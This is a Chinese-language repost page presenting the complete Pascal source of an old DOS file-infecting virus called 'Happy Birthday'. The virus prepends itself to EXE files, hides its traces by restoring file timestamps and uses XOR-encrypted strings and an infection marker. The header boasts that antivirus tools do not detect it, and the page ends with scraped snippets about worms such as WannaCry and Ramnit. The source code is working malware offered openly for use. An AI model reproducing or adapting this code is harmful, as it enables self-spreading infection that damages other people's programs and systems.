Pascal编写的蠕虫病毒,凌盟提供,Chaobs转载

{ Happy Birthday (c) 1998 WoRm
I don‘t take responsibility for any damage caused by this virus.
It was made for EDUCATIONAL USE ONLY.
AVs : No detection
Size : 8928 bytes
Payload : yes - display text
Stealth : yes - file time
Infects : exe
Encryption : no
If you‘ve got any question write to 
}
{$I-}
uses windos,dos;
const virushossz=8928;
dir:array[1..4] of string[10]=(‘g?Z`ido‘,‘g?Zmi}o`‘,‘g?Z`idox‘,‘g?Zmi}
o`cf‘);
var exebuffer,virusbuffer:array[1..virushossz] of byte;
regia:word;
regit:longint;
fuck:word;
disable:file;
konyvt:string;
eddig:byte;
y,m,d,dow:word;
Function Crypt(S : String) : String; {Encryption/Decryption of}
Var {A string.}
i : Byte;
begin
For i := 1 to Length(S) Do
S[i] := Char(ord(S[i]) xor (i+3));
Crypt := S;
end;
Procedure MEGLEPETES; {Display text}
begin
GetDate(y,m,d,dow);
if (m=6) and (d=22) then begin
writeln(‘$Mgwxp*Izgtpk3CzDz9‘);
writeln(‘$MD)XHY+z= <?:p=5‘‘.!!:LsOs‘);
end;
end;
Function DosShell(command:String):Integer;Var {Maximize HEAP before exec}
OldHeapEnd,
NewHeapEnd: Word;
Error:Integer;
Begin
Error:=0;
If MemAvail<$1000 then Error:=8;
If Error=0 then Begin
NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg;
OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg;
asm
mov ah,4Ah
mov bx,NewHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
If Error=0 then begin
SwapVectors;
Exec(GetEnv(‘COMSPEC‘),command);
SwapVectors;
asm
mov ah,4Ah
mov bx,OldHeapEnd
mov es,PrefixSeg
Int 21h
jnc @EXIT
mov Error,ax
@EXIT:
end; {asm}
end; {If}
end; {If}
DosShell:=Error;
end; {Function}
procedure futtatas; {Execute host program}
var fuf,orf:file;
fufa:searchrec;
ix:integer;
comlin:string;
begin
findfirst(paramstr(fuck),Anyfile,fufa);
if fufa.size>virushossz then begin
assign(fuf,fufa.name);
windos.getfattr(fuf,regia);
windos.setfattr(fuf,Archive);
reset(fuf,1);
assign(orf,crypt(‘slhsey::"hvj‘));
rewrite(orf,1);
windos.getftime(fuf,regit);
seek(fuf,fufa.size-(virushossz+10));
blockread(fuf,exebuffer,virushossz);
seek(orf,0);
blockwrite(orf,exebuffer,virushossz);
seek(fuf,virushossz);
for ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do be
gin
blockread(fuf,exebuffer,virushossz);
blockwrite(orf,exebuffer,virushossz);
end;
ix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;
blockread(fuf,exebuffer,ix);
blockwrite(orf,exebuffer,ix);
close(orf);
windos.setftime(fuf,regit);
close(fuf);
windos.setfattr(fuf,regia);
for dow:=1 to paramcount do
comlin:=comlin+‘ ‘+paramstr(dow);
dosshell(crypt(‘+f&pag~f|=?!uiw‘+comlin));
erase(orf);
end;
end;
function fertozott(ellfa:searchrec):boolean; {Is file already infected?}
var i:byte;
osszeg:longint;
ellkey:array[1..10] of byte;
modosito:byte;
ellf:file;
begin
assign(ellf,ellfa.name);
windos.getfattr(ellf,regia);
windos.setfattr(ellf,archive);
reset(ellf,1);
windos.getftime(ellf,regit);
seek(ellf,ellfa.size-10);
blockread(ellf,ellkey,10);
windos.setftime(ellf,regit);
close(ellf);
windos.setfattr(ellf,regia);
osszeg:=1;
for i:=1 to 10 do begin
if ellkey[i]>9 then begin
modosito:=ellkey[i] div 10;
ellkey[i]:=ellkey[i]-10*modosito;
end;
osszeg:=osszeg*ellkey[i];
end;
if osszeg=126000 then fertozott:=true else fertozott:=false;
end;
procedure fertoz(filehelye,fileneve:string); {Infect a file - filehelye=pat
h}
label next; {of file,fileneve=its name 
}
var fef:file;
fefa:searchrec;
k:array[1..10] of byte;
dt:tdatetime;
procedure keygen;
var o:longint;
i,a:byte;
begin
repeat
o:=126000;
for i:=1 to 10 do begin
repeat
a:=random(8)+1;
until o mod a=0;
o:=o div a;
k[i]:=a;
end;
o:=1;
for i:=1 to 10 do o:=o*k[i];
until o=126000;
for i:=1 to 10 do k[i]:=k[i]+random(24)*10;
end;
begin
chdir(filehelye);
findfirst(fileneve,Anyfile,fefa);
if doserror=0 then begin
if fefa.size>virushossz+10 then begin;
assign(fef,fefa.name);
windos.getfattr(fef,regia);
windos.setfattr(fef,archive);
reset(fef,1);
windos.getftime(fef,regit);
if fertozott(fefa)<>true then begin
seek(fef,0);
blockread(fef,exebuffer,virushossz);
seek(fef,0);
blockwrite(fef,virusbuffer,virushossz);
seek(fef,fefa.size);
blockwrite(fef,exebuffer,virushossz);
keygen;
blockwrite(fef,k,10);
windos.setftime(fef,regit);
eddig:=eddig+1;
end;
close(fef);
windos.setfattr(fef,regia);
end;
end;
end;
Procedure fertozes(path : PathStr); {This one searches subdirs of the}

{Path given as parameter and }

Var SearchFile : SearchRec; {Infects them (Max. 5 files/run }

begin
if Path[Length(Path)] <> ‘\‘ then
Path := Path + ‘\‘;
FindFirst(Path + ‘*.*‘, $37, SearchFile);
While (DosError = 0) and (eddig<5) do
begin
if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> ‘.‘) and
(eddig<5) then
Fertozes(Path + SearchFile.Name)
else
if (Pos(‘.EXE‘,SearchFile.Name)<>0) and (eddig<5) then begin
fertoz(Path,SearchFile.Name);
end;
if (eddig<5) then FindNext(SearchFile);
end;
end;
procedure inicializacio;
var inf:file;
begin
assign(inf,paramstr(fuck)); {Open current file (host)}

getfattr(inf,regia); {Save file time for time }

setfattr(inf,archive); {Stealth and move Vx code}

reset(inf,1); {Into Vx buffer. }

getftime(inf,regit);
seek(inf,0);
blockread(inf,virusbuffer,virushossz);
setftime(inf,regit); {Close file and set time }

close(inf);
setfattr(inf,regia);
end;
begin
getdir(0,konyvt); {Get current dir}
randomize; {For the keygenerator}
eddig:=0;
inicializacio; {Initialize buffers}
getdate(y,m,d,dow);
if dow=5 then fertozes(‘c:\‘); {Infect files}
for dow:=1 to 4 do begin
chdir(crypt(dir[dow]));
if ioresult=0 then fertozes(crypt(dir[dow]));
end;
futtatas; {Execute host}
MEGLEPETES; {Payload}
chdir(konyvt); {Reset original dir}
end.

Pascal编写的蠕虫病毒,凌盟提供,Chaobs转载

时间: 2024-10-31 05:54:27

Pascal编写的蠕虫病毒,凌盟提供,Chaobs转载的相关文章

通过NSA黑客工具永恒之蓝利用SMB共享传播蠕虫病毒的通告

关于防范基于SMB文件共享传播的蠕虫病毒攻击 紧急安全预警通告        2017年05月12日   第1章  安全通告 各位: 2017年5月12日起,在国内外网络中发现爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,这是不法分子通过改造之前泄露的NSA黑客武器库中"永恒之蓝"攻击程序发起的网络攻击事件. 目前发现的蠕虫会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入执行勒索程序.远程控制木马.虚拟货

“永恒之蓝”第一弹-关于防范感染勒索蠕虫病毒的紧急通知

北京时间2017年5月12日20时起,一款名为WannaCry/Wcry的勒索蠕虫病毒在全球范围开始传播.感染该病毒后的用户系统重要数据会被黑客加密,并索取一定价值的比特币后,数据才会被解密. 本文为第一时间全员群发通知邮件内容:关于防范感染勒索蠕虫病毒的紧急通知,内容如下: 各位小伙伴,大家好: 北京时间2017年5月12日20时起,一款名为WannaCry/Wcry的勒索蠕虫病毒在全球范围开始传播.感染该病毒后的用户系统重要数据会被黑客加密,并索取一定价值的比特币后,数据才会被解密.因此该病

刀锋上前行!绕过Ramint蠕虫病毒直接脱壳

系统 : Windows xp 程序 : 某游戏客户端 程序下载地址 :不提供 要求 : 脱去压缩壳 使用工具 : OD & PEID & LordPE & Import REC 被感染客户端中的是Ramint蠕虫病毒,感染速度非常快,危害相当大.建议在虚拟机环境下进行逆向分析. 相关资料: Ramnit(W32.Ramnit)的初始形态是蠕虫病毒,首次出现于2010年,激进的自繁殖策略使其得到迅速传播.一旦入侵计算机,该病毒就会找出本地硬盘和移动硬盘上所有的EXE.DLL.HTM

局域网雨云蠕虫病毒的处理

最近跳槽换了家单位,300多台pc,2台文件共享服务器Server.PC的操作系统大部分是win7,少量是xp,Server的操作系统均为win2008 server R2,在Server上共享用户为everyone,共享和安全权限为完全控制.网络设备张核心为华为S5348,但是未做任何配置,其他交换机使用的D-LINK 1024D或者1024T,清一色傻瓜式交换机.300多台电脑位于同一个广播域,ip地址范围是192.168.1.0一直到192.168.6.0,但是子网掩码是255.255.2

蠕虫病毒分析

一.背景介绍 蠕虫病毒是一种通过网络传播的恶意病毒,出现的时间晚于木马及宏病毒,但其传播速 度最快,传播范围最广.其传播主要体现在以下两个方面: 1.系统漏洞 2.电子邮件 二.蠕虫病毒的基本程序结构:主程序+引导程序 a) 传播模块:负责蠕虫的传播. b) 隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现. c) 目的功能模块:实现对计算机的控制.监视或破坏等功能. d) 传播模块又可以分为三个基本模块:扫描模块.攻击模块和复制模块. 三.蠕虫病毒的一般传播过程: i. 扫描模块:由蠕虫的扫

何为蠕虫病毒

1.蠕虫病毒: 一种常见的计算机病毒.它是利用网络进行复制和传播,传染途径是通过网络和电子邮件.最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形.蠕虫病毒是自包含的程序(或是一套程序),它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中(通常是经过网络连接). 其中,蠕虫病毒的代表:熊猫烧香(别名:尼姆亚).红色代码 2.冰河(木马):从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它.该软件主要用于远

3.Windows应急响应:蠕虫病毒

0x00 前言 蠕虫病毒是一种十分古老的计算机病毒,它是一种自包含的程序(或是一套程序),通常通过网络途径传播, 每入侵到一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序.常见的蠕虫病毒:熊猫烧香 病毒 .冲击波/震荡波病毒.conficker病毒等. 0x01 应急场景 某天早上,管理员在出口防火墙发现内网服务器不断向境外IP发起主动连接,内网环境,无法连通外网,无图脑补. 0x02 事件分析 在出口防火墙看到的服务器内网IP,首先将中病毒的主机从内网断开,然后登录该服务器,

HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒 查杀解决办法

参考: https://www.cnblogs.com/wuhairui/p/8297614.htmlhttp://www.guopingblog.com/post/100.html 最近发现vps流量疯长 看了下统计 也没看到网站有大流量,查看源码才发现网页被添加了一段很长的js 内容大概是这样 <SCRIPT  Language=VBScript> DropFileName = “svchost.exe” WriteData = “4D5A0000200000000400000F00FFF

[转帖]Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染

Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染 https://www.kubernetes.org.cn/5951.html 本来想说可以用 official版本的镜像 但是一想 之前也有开源软件被人植入 恶意代码的情况 angular 还是哪一家的组件库. 安全问题 的确很有风险. 2019-10-19 00:12 中文社区 分类:Kubernetes资讯/行业动态 阅读(539) 评论(0) 安全公司Palo Alto Networks威胁情报小组Unit 42发现一